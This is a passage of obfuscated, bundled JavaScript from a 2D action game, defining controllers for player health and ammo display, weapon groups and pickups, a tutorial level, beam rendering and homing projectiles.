this['store']['subscribe']('ammo', ({ oldValue: _0xd8b88a, newValue: _0x2f1351 }) => this['onAmmoChange'](_0x2f1351)); } ['postInit']() { this['onHpChange'](this['store']['get']('hp')), this['onAmmoChange'](this['store']['get']('ammo')); } ['onHpChange'](_0x5cd586) { this['gameMessageBus']['publish']('updateCounter', { 'counterName': 'health', 'value': { 'current': _0x5cd586, 'max': this['store']['get']('maxHp') } }); } ['onAmmoChange'](_0x1d3641) { Object['keys'](_0x1d3641)['forEach'](_0x4220d0 => { this['gameMessageBus']['publish']('updateCounter', { 'counterName': _0x4220d0, 'value': _0x1d3641[_0x4220d0] }); }); } } _0x17958f['PlayerUiComponent'] = _0x2772a4; }, 0x2280: (_0x50cd53, _0x42926a, _0x431cf0) => { 'use strict'; Object['defineProperty'](_0x42926a, '__esModule', { 'value': !0x0 }), _0x42926a['PlayerUnstuckController'] = void 0x0; const _0x57191a = _0x431cf0(0x1932), _0x53cb2a = _0x431cf0(0x1520), _0x42172f = _0x431cf0(0x1832); class _0x4ae4d4 extends _0x53cb2a['ComponentController']{ ['timeElapsedSinceLastCheckMS'] = 0x0;['isStuck'] = !0x1;['update'](_0x27fc07) { this['timeElapsedSinceLastCheckMS'] += 0x3e8 * _0x27fc07; if (this['timeElapsedSinceLastCheckMS'] < 0x64 && !this['isStuck']) return; this['timeElapsedSinceLastCheckMS'] = 0x0, ((this['store']['get']('sensorCollisionState')[_0x57191a['ESensorName']['STUCK_DETECTOR']] ?? [])['filter'](_0x2f75a8 => _0x2f75a8['parent']()?.['userData']['actor']['getTags']()['includes'](_0x42172f['EActorTag']['GROUND']))['length'] > 0x0 ? this['isStuck'] = !0x0 : this['isStuck'] = !0x1, this['isStuck'] && this['performUnstuck']()); } ['performUnstuck']() { const _0x10e398 = this['store']['get']('physicsPosition'); this['component']['body']['setTranslation']({ 'x': _0x10e398['x'], 'y': _0x10e398['y'] + -0.2 }, !0x0); } } _0x42926a['PlayerUnstuckController'] = _0x4ae4d4; }, 0x9c7: (_0x192aed, _0x110b73, _0x44a2ea) => { 'use strict'; Object['defineProperty'](_0x110b73, '__esModule', { 'value': !0x0 }), _0x110b73['PlayerWeaponManagementController'] = _0x110b73['SPECIAL_KEYS'] = void 0x0; const _0x2d0fb9 = _0x44a2ea(0x1520), _0x72d4fe = _0x44a2ea(0x70c), _0x37dd37 = _0x44a2ea(0x1ef9); _0x110b73['SPECIAL_KEYS'] = [_0x72d4fe['EPlayerAction']['secondaryAttack1'], _0x72d4fe['EPlayerAction']['secondaryAttack2'], _0x72d4fe['EPlayerAction']['secondaryAttack3']]; class _0x333a65 extends _0x2d0fb9['ComponentController']{ constructor(_0x55e5f7) { super(_0x55e5f7); } ['init']() { this['config']['initialWeaponGroups']['forEach'](_0x13a5a7 => { this['component']['addWeaponGroup'](_0x13a5a7['groupName'], _0x13a5a7['key']); }), this['updateWeaponGroups'](), this['gameMessageBus']['subscribe'](this, 'perkSelected', () => this['updateWeaponGroups']()); } ['updateWeaponGroups']() { const _0x5a1941 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x10bcb8 = _0x5a1941['pickedChoices']['filter'](_0x28359a => _0x28359a['type'] === _0x37dd37['PERK_CHOICE_TYPE'])['map'](_0x21cb94 => _0x21cb94['options']['find'](_0x82fb62 => _0x82fb62['id'] === _0x21cb94['selectedOptionId'])) ?? [], _0x5a9a69 = (0x0, _0x37dd37['getHighestLevelPerks'])(_0x10bcb8), _0x12f2f1 = [..._0x5a1941['playerState']['weaponGroups']], _0x204429 = new Map(); _0x12f2f1['forEach']((_0x4854cd, _0x17b55c) => { _0x204429['set'](_0x4854cd['groupId'], _0x17b55c); }), this['config']['initialWeaponGroups']['forEach'](_0x9d30d0 => { _0x12f2f1['find'](_0x3c4644 => _0x3c4644['groupId'] === _0x9d30d0['groupId']) || (_0x12f2f1['push'](_0x9d30d0), _0x204429['set'](_0x9d30d0['groupId'], _0x12f2f1['length'] - 0x1)); }); const _0xabdc = _0x5a9a69['map'](_0x3f71cd => { const _0x3c2747 = _0x12f2f1['find'](_0x55f2f6 => _0x55f2f6['groupId'] === _0x3f71cd['groupId'])?.['key']; return { 'groupId': _0x3f71cd['groupId'], 'groupName': _0x3f71cd['id'], 'key': _0x3c2747 }; }); _0xabdc['forEach'](_0x142765 => { if (!_0x142765['key']) { const _0x4ba86a = _0x110b73['SPECIAL_KEYS']['filter'](_0x2baf0f => !_0x12f2f1['find'](_0x5773fb => _0x5773fb['key'] === _0x2baf0f)); _0x4ba86a['length'] && (_0x142765['key'] = _0x4ba86a[0x0]); } }); const _0x592ab4 = _0xabdc['filter'](_0xa3d7e2 => !!_0xa3d7e2['key']), _0x15df1e = new Set(_0x592ab4['map'](_0x4af07a => _0x4af07a['groupId'])), _0x457e8c = _0x12f2f1['filter'](_0x41cd5e => _0x15df1e['has'](_0x41cd5e['groupId']))['map'](_0x1a5143 => _0x1a5143['groupName']), _0x301d27 = _0x12f2f1['filter'](_0x52f889 => !_0x457e8c['includes'](_0x52f889['groupName'])); _0x457e8c['forEach'](_0x2a46e0 => { this['component']['removeWeaponGroup'](_0x2a46e0); }), _0x592ab4['forEach'](_0x38c441 => { this['component']['addWeaponGroup'](_0x38c441['groupName'], _0x38c441['key']); }); const _0x111513 = [..._0x301d27, ..._0x592ab4]['sort']((_0x49b93c, _0x163035) => (_0x204429['get'](_0x49b93c['groupId']) ?? Number['MAX_VALUE']) - (_0x204429['get'](_0x163035['groupId']) ?? Number['MAX_VALUE'])), _0x521175 = { ..._0x5a1941['playerState'] }; _0x521175['weaponGroups'] = _0x111513, _0x5a1941['playerState'] = _0x521175, this['gameContext']['updateGameStore']('runState', _0x5a1941, { 'forceUpdate': !0x0 }); } } _0x110b73['PlayerWeaponManagementController'] = _0x333a65; }, 0x254a: (_0x1bcf77, _0x3ab15f, _0x1c757d) => { 'use strict'; Object['defineProperty'](_0x3ab15f, '__esModule', { 'value': !0x0 }), _0x3ab15f['PlayerWeaponPickupController'] = void 0x0; const _0x3fa618 = _0x1c757d(0x1520), _0x460f9f = _0x1c757d(0x9c7); class _0x1223ad extends _0x3fa618['ComponentController']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'pickupAction', _0x42b6b8 => this['handlePickup'](_0x42b6b8)); } ['handlePickup'](_0x35c47a) { if (!_0x35c47a['type']['startsWith']('ABILITY')) return; const _0x1c06f9 = _0x35c47a['type']['replace']('ABILITY|', ''), _0x1a339d = _0x460f9f['SPECIAL_KEYS']['find'](_0x302312 => Object['values'](this['store']['get']('weapons'))['every'](_0x436245 => !_0x436245['triggerKeys']?.['includes'](_0x302312))); if (!_0x1a339d) return; this['component']['addWeaponGroup'](_0x1c06f9, _0x1a339d); const _0x2d6dd0 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x5a8c9f = { ..._0x2d6dd0['playerState'] }, _0xba457d = [..._0x5a8c9f['weaponGroups']]; _0xba457d['push']({ 'groupName': _0x1c06f9, 'groupId': _0x1c06f9, 'key': _0x1a339d }), _0x5a8c9f['weaponGroups'] = _0xba457d, _0x2d6dd0['playerState'] = _0x5a8c9f, this['gameContext']['updateGameStore']('runState', _0x2d6dd0); } } _0x3ab15f['PlayerWeaponPickupController'] = _0x1223ad; }, 0x1006: (_0x2a0914, _0x4d1388, _0x513f6c) => { 'use strict'; Object['defineProperty'](_0x4d1388, '__esModule', { 'value': !0x0 }), _0x4d1388['PlayerWeaponRestrictionController'] = void 0x0; const _0x126ca5 = _0x513f6c(0x1520); class _0x340bc7 extends _0x126ca5['ComponentController']{ ['update']() { const _0x5c1e0c = []; this['isLookingUp']() && _0x5c1e0c['push']('LOOKING_UP'), this['isLookingDown']() && _0x5c1e0c['push']('LOOKING_DOWN'), this['isDashing']() && _0x5c1e0c['push']('DASHING'), this['hasJustJumped']() && _0x5c1e0c['push']('JUST_JUMPED'), this['isGrounded']() && _0x5c1e0c['push']('GROUNDED'), this['store']['update']('currentWeaponRestrictions', _0x5c1e0c); } ['isLookingUp']() { return !!this['store']['get']('actionControlsState')['up']; } ['isLookingDown']() { return !!this['store']['get']('actionControlsState')['down']; } ['isDashing']() { return this['store']['get']('horizontalState')['includes']('DASH'); } ['isGrounded']() { return this['store']['get']('isGrounded'); } ['hasJustJumped']() { const _0x413d57 = this['store']['get']('cancelJumpLockoutDurationLeftMS') > 0x32, _0x406cc3 = this['store']['get']('jumpsRemaining') === this['store']['get']('maxJumpCount') - 0x1; return _0x413d57 && _0x406cc3; } } _0x4d1388['PlayerWeaponRestrictionController'] = _0x340bc7; }, 0x7d1: (_0x2287cd, _0x5ca037, _0x5a93c3) => { 'use strict'; Object['defineProperty'](_0x5ca037, '__esModule', { 'value': !0x0 }), _0x5ca037['TutorialComponent'] = void 0x0; const _0x58ae12 = _0x5a93c3(0x2414), _0x5e1326 = _0x5a93c3(0x1932), _0x444db8 = _0x5a93c3(0x1832); class _0x71c812 extends _0x58ae12['ActorComponent']{ ['hasReachedExit'] = !0x1;['init']() { this['messageBus']['subscribe'](this, 'damage', _0x2d70ea => this['onDamageReceived'](_0x2d70ea)), this['store']['subscribe']('lastAreaSensor', ({ newValue: _0x10efdb }) => this['maybeReachedExit'](_0x10efdb)), this['setupLevelAsFinished'](); } ['update'](_0x3a77d9) { this['maybeUpdateLastAreaSensor'](); } ['setupLevelAsFinished']() { const _0x5c7ca0 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x3dd96c = { ..._0x5c7ca0['levelStates'][_0x5c7ca0['currentLevelIndex']] }; _0x3dd96c['finished'] = !0x0, _0x5c7ca0['levelStates'][_0x5c7ca0['currentLevelIndex']] = _0x3dd96c, this['gameContext']['updateGameStore']('runState', _0x5c7ca0); } ['maybeUpdateLastAreaSensor']() { const _0xc5d37c = (this['store']['get']('sensorCollisionState')[_0x5e1326['ESensorName']['CENTER']] || [])['find'](_0x47c9c6 => { const _0x5e5dd8 = _0x47c9c6['parent'](); if (!_0x5e5dd8) return !0x1; return _0x5e5dd8['userData']['actor']['getTags']()['includes'](_0x444db8['EActorTag']['MAP_AREA_SENSOR']); }); if (!_0xc5d37c) return; const _0x36cfda = _0xc5d37c['parent']()?.['userData']['actor']; this['store']['update']('lastAreaSensor', _0x36cfda); } ['onDamageReceived'](_0x3ca0c7) { this['recoverHealth'](_0x3ca0c7), this['teleportToLastAreaSensor'](); } ['teleportToLastAreaSensor']() { const _0xd944df = this['store']['get']('lastAreaSensor'); if (!_0xd944df) return; const _0x15e9fb = _0xd944df['getFromStore']('physicsPosition'), _0x17f780 = _0xd944df['getFromStore']('renderPosition'); this['messageBus']['publish']('requestTeleport', { 'destination': _0x15e9fb }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport', 'position': this['store']['get']('renderPosition') }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport', 'position': _0x17f780 }); } ['recoverHealth'](_0x3afb0a) { 0x0 !== (_0x3afb0a['damage'] ?? 0x0) && this['store']['update']('hp', this['store']['get']('maxHp')); } ['maybeReachedExit'](_0x16e9ba) { if (!_0x16e9ba || this['hasReachedExit']) return; const _0x1445ae = _0x16e9ba['getConfig'](); _0x1445ae['objective'] && (this['hasReachedExit'] = !0x0, this['gameMessageBus']['publish']('progressObjective', { 'name': _0x1445ae['objective'], 'completionPoints': 0x1 })); } } _0x5ca037['TutorialComponent'] = _0x71c812; }, 0x270e: (_0x48f973, _0x425807, _0x276abe) => { 'use strict'; Object['defineProperty'](_0x425807, '__esModule', { 'value': !0x0 }), _0x425807['AccelerationController'] = void 0x0; const _0x2c6069 = _0x276abe(0x1520), _0x3f8c62 = _0x276abe(0x1b39), _0x5db6c7 = _0x276abe(0x18e5); class _0x20d63a extends _0x2c6069['ComponentController']{ constructor(_0x4ff381) { super(_0x4ff381); } ['update'](_0x103a39) { const _0x343305 = this['component']['get'](), _0x24c72b = _0x343305['linvel'](); if (this['config']['accelerationConfig']['maxSpeed']) { if ((0x0, _0x3f8c62['vectorLength'])(_0x24c72b) > this['config']['accelerationConfig']['maxSpeed']) return; } const _0x2f7203 = (0x0, _0x5db6c7['scale'])((0x0, _0x5db6c7['normalize'])(_0x24c72b), this['config']['accelerationConfig']['acceleration']); _0x343305['setLinvel']((0x0, _0x5db6c7['add'])(_0x24c72b, _0x2f7203), !0x0); } } _0x425807['AccelerationController'] = _0x20d63a; }, 0x1004: (_0x3c617e, _0x2f9884, _0x58d09f) => { 'use strict'; Object['defineProperty'](_0x2f9884, '__esModule', { 'value': !0x0 }), _0x2f9884['AttachToFiringPointController'] = void 0x0; const _0x30b9c4 = _0x58d09f(0x1520), _0x4b6bbf = _0x58d09f(0x959); class _0x53af70 extends _0x30b9c4['ComponentController']{ constructor(_0xb758ca) { super(_0xb758ca); } ['update'](_0x408da3) { if (!this['config']['firingPointOwnerActor']['getFromStore']('physicsPosition')) return; const _0x1eeca1 = (0x0, _0x4b6bbf['getFiringPosition'])(this['config']['firingPointOwnerActor']['getFromStore']('lookDirection'), this['config']['firingPointOwnerActor']['getFromStore']('physicsPosition'), this['config']['firingPointConfig']); this['component']['setPosition'](_0x1eeca1); } } _0x2f9884['AttachToFiringPointController'] = _0x53af70; }, 0x7d: (_0x555772, _0x460788, _0x3b1f87) => { 'use strict'; Object['defineProperty'](_0x460788, '__esModule', { 'value': !0x0 }), _0x460788['BeamRenderComponent'] = void 0x0; const _0x550ff8 = _0x3b1f87(0x2414), _0x711e8f = _0x3b1f87(0x2347), _0x4a54b0 = _0x3b1f87(0x1d35); class _0xaf7e47 extends _0x550ff8['ActorComponent']{ ['beam']; constructor(_0x324520) { super({ ..._0x324520, 'isRenderComponent': !0x0 }); } ['init']() { this['beam'] = new _0x4a54b0['BeamRenderer']({ ...this['config'], 'scene': this['scene'], 'gameContext': this['gameContext'] }); } ['update']() { const _0x11621a = (0x0, _0x711e8f['physicsVector2RenderVector'])(this['store']['get']('beamStartPosition')), _0x3a135d = (0x0, _0x711e8f['physicsVector2RenderVector'])(this['store']['get']('beamCenterPosition')), _0x3ec7b5 = (0x0, _0x711e8f['physicsVector2RenderVector'])(this['store']['get']('beamEndPosition')); this['beam']['update']({ 'beamLength': (0x0, _0x711e8f['physicsScalar2RenderScalar'])(this['store']['get']('beamLength')), 'beamStartPosition': _0x11621a, 'beamCenterPosition': _0x3a135d, 'beamEndPosition': _0x3ec7b5, 'beamRotation': this['store']['get']('beamRotation') }); } ['destroy']() { this['beam']['destroy'](); } ['deleteSprite'](_0x1a40d0) { this['beam']['deleteSprite'](_0x1a40d0); } } _0x460788['BeamRenderComponent'] = _0xaf7e47; }, 0x1d35: (_0x33a50c, _0x4e6240, _0x74be06) => { 'use strict'; Object['defineProperty'](_0x4e6240, '__esModule', { 'value': !0x0 }), _0x4e6240['BeamRenderer'] = void 0x0; const _0x23b579 = _0x74be06(0xd2e), _0x5184a6 = _0x74be06(0xf18), _0xefc461 = _0x74be06(0x1512), _0x328f54 = _0x74be06(0x8d4), _0x1edd0b = _0x74be06(0x5d3); _0x4e6240['BeamRenderer'] = class { ['scene'];['gameContext'];['config'];['beamCore'];['beamStart'];['beamEnd'];['isHidden'] = !0x1;['alphaTweenHandle']; constructor(_0x20fc24) { this['scene'] = _0x20fc24['scene'], this['gameContext'] = _0x20fc24['gameContext'], this['config'] = _0x20fc24, this['beamCore'] = this['createTileSprite'](this['gameContext']['getAnimationConfig'](this['config']['beamCoreAnimationName'])), this['config']['beamStartAnimationName'] && (this['beamStart'] = this['createSprite'](this['gameContext']['getAnimationConfig'](this['config']['beamStartAnimationName']))), this['config']['beamEndAnimationName'] && (this['beamEnd'] = this['createSprite'](this['gameContext']['getAnimationConfig'](this['config']['beamEndAnimationName']))); } ['update'](_0x4586d3) { const _0x5bc48f = _0x4586d3['beamRotation'] + Math['PI'], _0x4e62d2 = this['isBeamInCamera'](_0xefc461['ECamera']['MAIN'], _0x4586d3['beamStartPosition'], _0x4586d3['beamEndPosition']); if (!(!this['isHidden'] && _0x4e62d2)) return this['beamEnd'] && (this['beamEnd']['sprite']['visible'] = !0x1), this['beamStart'] && (this['beamStart']['sprite']['visible'] = !0x1), this['beamCore']['sprite']['visible'] = !0x1, void (this['beamCore']['animationSprite']['visible'] = !0x1); this['beamEnd'] && (this['beamEnd']['sprite']['visible'] = !0x0), this['beamStart'] && (this['beamStart']['sprite']['visible'] = !0x0), this['beamCore']['sprite']['visible'] = !0x0, this['beamCore']['animationSprite']['visible'] = !0x0, this['updateSprite'](this['beamCore'], _0x4586d3['beamCenterPosition'], _0x5bc48f), this['updateTileSprite'](this['beamCore'], _0x4586d3['beamLength']), this['beamStart'] && this['updateSprite'](this['beamStart'], _0x4586d3['beamStartPosition'], _0x4586d3['beamRotation']), this['beamEnd'] && this['updateSprite'](this['beamEnd'], _0x4586d3['beamEndPosition'], _0x5bc48f); } ['destroy']() { this['beamCore']['sprite']['destroy'](), this['beamCore']['animationSprite']['destroy'](), this['beamStart']?.['sprite']['destroy'](), this['beamEnd']?.['sprite']['destroy'](); } ['deleteSprite'](_0x1eb343) { _0x1eb343['sprite']['destroy'](), _0x1eb343?.['animationSprite']?.['destroy'](); } ['tweenAlpha'](_0x3c7d13, _0x117c11, _0x50e5b0) { this['alphaTweenHandle'] && this['scene']['tweens']['remove'](this['alphaTweenHandle']), this['beamCore']['sprite']['setAlpha'](_0x3c7d13), this['beamCore']['animationSprite']['setAlpha'](_0x3c7d13), this['beamStart']?.['sprite']['setAlpha'](_0x3c7d13), this['beamEnd']?.['sprite']['setAlpha'](_0x3c7d13), this['alphaTweenHandle'] = this['scene']['tweens']['addCounter']({ 'from': _0x3c7d13, 'to': _0x117c11, 'duration': _0x50e5b0, 'onUpdate': _0x2ef391 => { this['beamCore']['sprite']['setAlpha'](_0x2ef391['getValue']()), this['beamCore']['animationSprite']['setAlpha'](_0x2ef391['getValue']()), this['beamStart']?.['sprite']['setAlpha'](_0x2ef391['getValue']()), this['beamEnd']?.['sprite']['setAlpha'](_0x2ef391['getValue']()); }, 'onComplete': () => { this['beamCore']['sprite']['setAlpha'](_0x117c11), this['beamCore']['animationSprite']['setAlpha'](_0x117c11), this['beamStart']?.['sprite']['setAlpha'](_0x117c11), this['beamEnd']?.['sprite']['setAlpha'](_0x117c11), this['scene']['tweens']['remove'](this['alphaTweenHandle']); } }); } ['setAlpha'](_0x2add78) { this['beamCore']['sprite']['setAlpha'](_0x2add78), this['beamStart']?.['sprite']['setAlpha'](_0x2add78), this['beamEnd']?.['sprite']['setAlpha'](_0x2add78); } ['setTint'](_0x2e8a1b) { this['beamCore']['sprite']['setTint'](_0x2e8a1b), this['beamStart']?.['sprite']['setTint'](_0x2e8a1b), this['beamEnd']?.['sprite']['setTint'](_0x2e8a1b); } ['show']() { this['isHidden'] = !0x1; } ['hide']() { this['isHidden'] = !0x0; } ['createSprite'](_0x27cc36) { this['scene']['anims']['exists'](_0x27cc36['animationConfig']['key']) || this['scene']['anims']['create'](_0x27cc36['animationConfig']); const _0x243e32 = _0x27cc36['animationConfig']['key'] ? void 0x0 : _0x27cc36['animationConfig']['staticFrame'], _0x1d7d1b = this['scene']['add']['sprite'](NaN, NaN, _0x27cc36['textureName'], _0x243e32); _0x27cc36['animationConfig']['key'] && _0x1d7d1b['play'](_0x27cc36['animationConfig']['key']); const _0x2c04a1 = { 'config': _0x27cc36, 'sprite': _0x1d7d1b }; return this['applySpriteConfigs'](_0x2c04a1), _0x2c04a1; } ['createTileSprite'](_0x28bd9e) { this['scene']['anims']['exists'](_0x28bd9e['animationConfig']['key']) || this['scene']['anims']['create'](_0x28bd9e['animationConfig']); const _0x1ce26f = this['createSprite'](this['gameContext']['getAnimationConfig'](this['config']['beamCoreAnimationName']))['sprite']; _0x1ce26f['visible'] = !0x1; const _0x14b808 = _0x28bd9e['animationConfig']['key'] ? void 0x0 : _0x28bd9e['animationConfig']['staticFrame'], _0x181941 = { 'config': _0x28bd9e, 'sprite': this['scene']['add']['tileSprite'](NaN, NaN, _0x1ce26f['width'], 0x0, _0x28bd9e['textureName'], _0x14b808), 'animationSprite': _0x1ce26f }; return this['applySpriteConfigs'](_0x181941), _0x181941; } ['applySpriteConfigs'](_0x459248) { const _0x47a59e = _0x459248['sprite'], _0x12fab9 = _0x459248['config']; _0x12fab9['swapX'] && _0x47a59e['setFlipX'](!0x0), _0x12fab9['swapY'] && _0x47a59e['setFlipY'](!0x0), _0x12fab9['tint'] && _0x47a59e['setTint'](_0x12fab9['tint']), _0x12fab9['affectedByLight'] && !(0x0, _0x1edd0b['runningAsBackend'])() && _0x47a59e['setPipeline']('Light2D'), _0x12fab9['scale'] && _0x47a59e['setScale'](_0x12fab9['scale']), _0x12fab9['scaleX'] && (_0x47a59e['scaleX'] = _0x12fab9['scaleX'] * (_0x12fab9['scale'] ?? 0x1)), _0x12fab9['scaleY'] && (_0x47a59e['scaleY'] = _0x12fab9['scaleY'] * (_0x12fab9['scale'] ?? 0x1)), _0x12fab9['blendMode'] && _0x47a59e['setBlendMode'](_0x12fab9['blendMode']), _0x12fab9['alpha'] && _0x47a59e['setAlpha'](_0x12fab9['alpha']); const _0x796a3 = _0x47a59e['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x5184a6['LAYER_DEPTHS']['SPRITE_ADD'] : _0x5184a6['LAYER_DEPTHS']['SPRITE']; _0x47a59e['setDepth'](_0x796a3 - (_0x12fab9['renderDepthOffset'] ?? 0x0)), _0x12fab9['destroyOnAnimationEnd'] && _0x47a59e['on']('animationcomplete', () => this['deleteSprite'](_0x459248)); const _0x20d752 = _0x12fab9['animationConfig']['key'] ? void 0x0 : _0x12fab9['animationConfig']['durationMS']; if (_0x20d752 || _0x12fab9['durationMS']) { const _0x401bcb = _0x20d752 ?? _0x12fab9['durationMS'] ?? 0x1 / 0x0; this['gameContext']['timeProvider']['delayAction'](() => this['deleteSprite'](_0x459248), _0x401bcb); } _0x12fab9['fade'] && this['fadeSprite'](_0x47a59e, _0x12fab9); } ['updateSprite'](_0x2f74da, _0x6092e2, _0x25d2d2) { const _0x374b86 = (0x0, _0x23b579['isFacingLeft'])(_0x25d2d2), _0x3527f2 = _0x25d2d2 * (_0x374b86 ? -0x1 : 0x1), _0x12e22a = -(_0x2f74da['config']['offsetPosition']?.['x'] ?? 0x0), _0x5a2259 = _0x2f74da['config']['offsetPosition']?.['y'] ?? 0x0; let _0x5c35f5 = _0x12e22a * Math['cos'](_0x3527f2) - _0x5a2259 * Math['sin'](_0x3527f2); const _0x33e570 = _0x12e22a * Math['sin'](_0x3527f2) + _0x5a2259 * Math['cos'](_0x3527f2); _0x374b86 && (_0x5c35f5 = -_0x5c35f5), _0x2f74da['sprite']['setPosition'](_0x6092e2['x'] + _0x5c35f5, _0x6092e2['y'] + _0x33e570), _0x2f74da['sprite']['setRotation'](_0x25d2d2); } ['updateTileSprite'](_0x271332, _0x30bd99) { _0x271332['sprite']['height'] = _0x30bd99 / (_0x271332['config']['scaleY'] ?? 0x1), _0x271332['sprite']['width'] = _0x271332['animationSprite']['frame']['width'], _0x271332['sprite']['setFrame'](_0x271332['animationSprite']['frame']['name']); } ['fadeSprite'](_0x1be2c3, _0x38809f) { const _0x483460 = _0x38809f['fade']; _0x1be2c3['setAlpha'](_0x483460['initialAlpha']), this['gameContext']['timeProvider']['delayAction'](() => { _0x1be2c3['scene'] && _0x1be2c3['scene']['tweens'] && (_0x1be2c3['scene']['tweens']['add']({ 'targets': _0x1be2c3, 'alpha': { 'from': _0x483460['initialAlpha'], 'to': _0x483460['targetAlpha'] }, 'duration': _0x483460['durationMS'], 'onComplete': () => { } }), (_0x483460['initialScale'] || _0x483460['targetScale']) && _0x1be2c3['scene']['tweens']['add']({ 'targets': _0x1be2c3, 'scale': { 'from': _0x483460['initialScale'] ?? 0x1, 'to': _0x483460['targetScale'] ?? 0x0 }, 'duration': _0x483460['durationMS'], 'onComplete': () => { } })); }, _0x483460['startTimeMS']); } ['isBeamInCamera'](_0x3ca241, _0x2a9b0e, _0x4b5107) { const _0x4ad39a = this['gameContext']['getCamera'](_0x3ca241)['worldView']; return _0x328f54['Geom']['Intersects']['LineToRectangle'](new _0x328f54['Geom']['Line'](_0x2a9b0e['x'], _0x2a9b0e['y'], _0x4b5107['x'], _0x4b5107['y']), _0x4ad39a); } }; }, 0x1cef: (_0x56ba9f, _0x36dcb3, _0x48c8bb) => { 'use strict'; Object['defineProperty'](_0x36dcb3, '__esModule', { 'value': !0x0 }), _0x36dcb3['HomingController'] = void 0x0; const _0x51d9db = _0x48c8bb(0x17e), _0x4d15da = _0x48c8bb(0x1520), _0x343fed = _0x48c8bb(0x1b39), _0x2580af = _0x48c8bb(0x18e5), _0x208e30 = { 'delayedActivationTimeMS': 0x0, 'targetTags': [], 'pullCoefficient': 0.2, 'pullForce': 0x23, 'maxTargetDistance': 0x1 / 0x0, 'targetingArcDeg': 0xb4, 'performGroundCheck': !0x0 }; class _0x59850c extends _0x4d15da['ComponentController']{ ['lastUpdateTime'] = 0x0;['active'] = !0x1; constructor(_0x4bc728) { super({ ..._0x208e30, ..._0x4bc728 }); } ['init']() { this['config']['delayedActivationTimeMS'] ? this['gameContext']['timeProvider']['delayAction'](() => this['active'] = !0x0, this['config']['delayedActivationTimeMS']) : this['active'] = !0x0, this['setRotation'](); } ['update'](_0x3b32ba) { if (!this['active']) return; this['lastUpdateTime'] += _0x3b32ba, this['lastUpdateTime'] > 0.1 && (this['lastUpdateTime'] = 0x0, this['updateHoming'](_0x3b32ba)); const _0x51f9c6 = this['store']['get']('homingTarget'); _0x51f9c6 && this['applyHoming'](_0x3b32ba, _0x51f9c6); } ['updateHoming'](_0x45e15e) { let _0x86c1b4 = this['store']['get']('homingTarget'); if (_0x86c1b4) { if (!(this['filterInvalidTargets']([_0x86c1b4])['length'] > 0x0)) return void this['store']['update']('homingTarget', void 0x0); } else _0x86c1b4 = this['acquireTarget'](this['config']['targetTags']), _0x86c1b4 && this['store']['update']('homingTarget', _0x86c1b4); _0x86c1b4 = this['store']['get']('homingTarget'); } ['applyHoming'](_0x47fc82, _0xb11a4a) { const _0x44de8a = this['store']['get']('physicsPosition'), _0x11e14a = _0xb11a4a['getFromStore']('physicsPosition'); _0x44de8a && _0x11e14a && (this['applyPullForce'](_0x47fc82, _0x11e14a, _0x44de8a), this['accelerateTowardsTarget'](_0x11e14a, _0x44de8a), this['setRotation']()); } ['accelerateTowardsTarget'](_0xb72226, _0x439fba) { const _0x1decf7 = this['component']['get'](), _0x50b19b = (0x0, _0x2580af['normalize'])((0x0, _0x2580af['sub'])(_0xb72226, _0x439fba)), _0x531488 = Math['atan2'](_0x50b19b['y'], _0x50b19b['x']), _0x3964af = (0x0, _0x2580af['scale'])(_0x1decf7['linvel'](), 0x1 - this['config']['pullCoefficient']), _0x2d01cc = this['rotateVectorTo']((0x0, _0x2580af['scale'])(_0x1decf7['linvel'](), this['config']['pullCoefficient']), _0x531488), _0xd20ba5 = (0x0, _0x2580af['add'])(_0x3964af, _0x2d01cc); _0x1decf7['setLinvel'](_0xd20ba5, !0x0); } ['applyPullForce'](_0x4bddc4, _0x23d8bc, _0x4723dc) { const _0x59aaf5 = (0x0, _0x2580af['normalize'])((0x0, _0x2580af['sub'])(_0x23d8bc, _0x4723dc)), _0x5299c3 = (0x0, _0x2580af['multiply'])((0x0, _0x2580af['scale'])(_0x59aaf5, this['config']['pullForce'] * _0x4bddc4), { 'x': 0x1, 'y': 0x1 }); this['component']['get']()['applyImpulse'](_0x5299c3, !0x0); } ['setRotation']() { const _0x2a8f99 = this['component']['get'](), _0xcf8e70 = _0x2a8f99['linvel'](), _0x345b76 = Math['atan2'](_0xcf8e70['y'], _0xcf8e70['x']); _0x2a8f99['setRotation'](_0x345b76, !0x0); } ['rotateVectorTo'](_0x398777, _0x52b622) { const _0x4fdb63 = _0x52b622 - Math['atan2'](_0x398777['y'], _0x398777['x']), _0x29510c = _0x398777['x'] * Math['cos'](_0x4fdb63) - _0x398777['y'] * Math['sin'](_0x4fdb63), _0x5daffd = _0x398777['x'] * Math['sin'](_0x4fdb63) + _0x398777['y'] * Math['cos'](_0x4fdb63); return new _0x2580af['Vector'](_0x29510c, _0x5daffd); } ['acquireTarget'](_0x1c34be) { let _0x4607f9 = _0x1c34be['flatMap'](_0x138f26 => this['gameContext']['queryActors'](_0x138f26)); _0x4607f9 = this['filterInvalidTargets'](_0x4607f9); const _0x5b9a7a = this['store']['get']('physicsPosition'), _0x53461a = _0x4607f9['reduce']((_0x44ec4e, _0x2bd896) => (0x0, _0x2580af['distanceTo'])(_0x5b9a7a, _0x44ec4e['getFromStore']('physicsPosition')) < (0x0, _0x2580af['distanceTo'])(_0x5b9a7a, _0x2bd896['getFromStore']('physicsPosition')) ? _0x44ec4e : _0x2bd896, _0x4607f9[0x0]); if (_0x53461a) return _0x53461a; } ['filterInvalidTargets'](_0x2ce925) { const _0xb276b3 = this['store']['get']('physicsPosition'); return _0x2ce925 = (_0x2ce925 = _0x2ce925['filter'](_0x57db7d => void 0x0 !== _0x57db7d['getFromStore']('physicsPosition')))['filter'](_0x8b6098 => (0x0, _0x2580af['distanceTo'])(_0xb276b3, _0x8b6098['getFromStore']('physicsPosition')) < this['config']['maxTargetDistance']), 0x168 !== this['config']['targetingArcDeg'] && (_0x2ce925 = _0x2ce925['filter'](_0x112b29 => (0x0, _0x343fed['isPointInCone'])({ 'originPoint': _0xb276b3, 'angle': this['store']['get']('lookDirection'), 'range': this['config']['targetingArcDeg'] }, _0x112b29['getFromStore']('physicsPosition')))), this['config']['performGroundCheck'] && (_0x2ce925 = _0x2ce925['filter'](_0x498f64 => -0x1 !== (0x0, _0x51d9db['calculateDistanceToTarget'])(this['config']['world'], 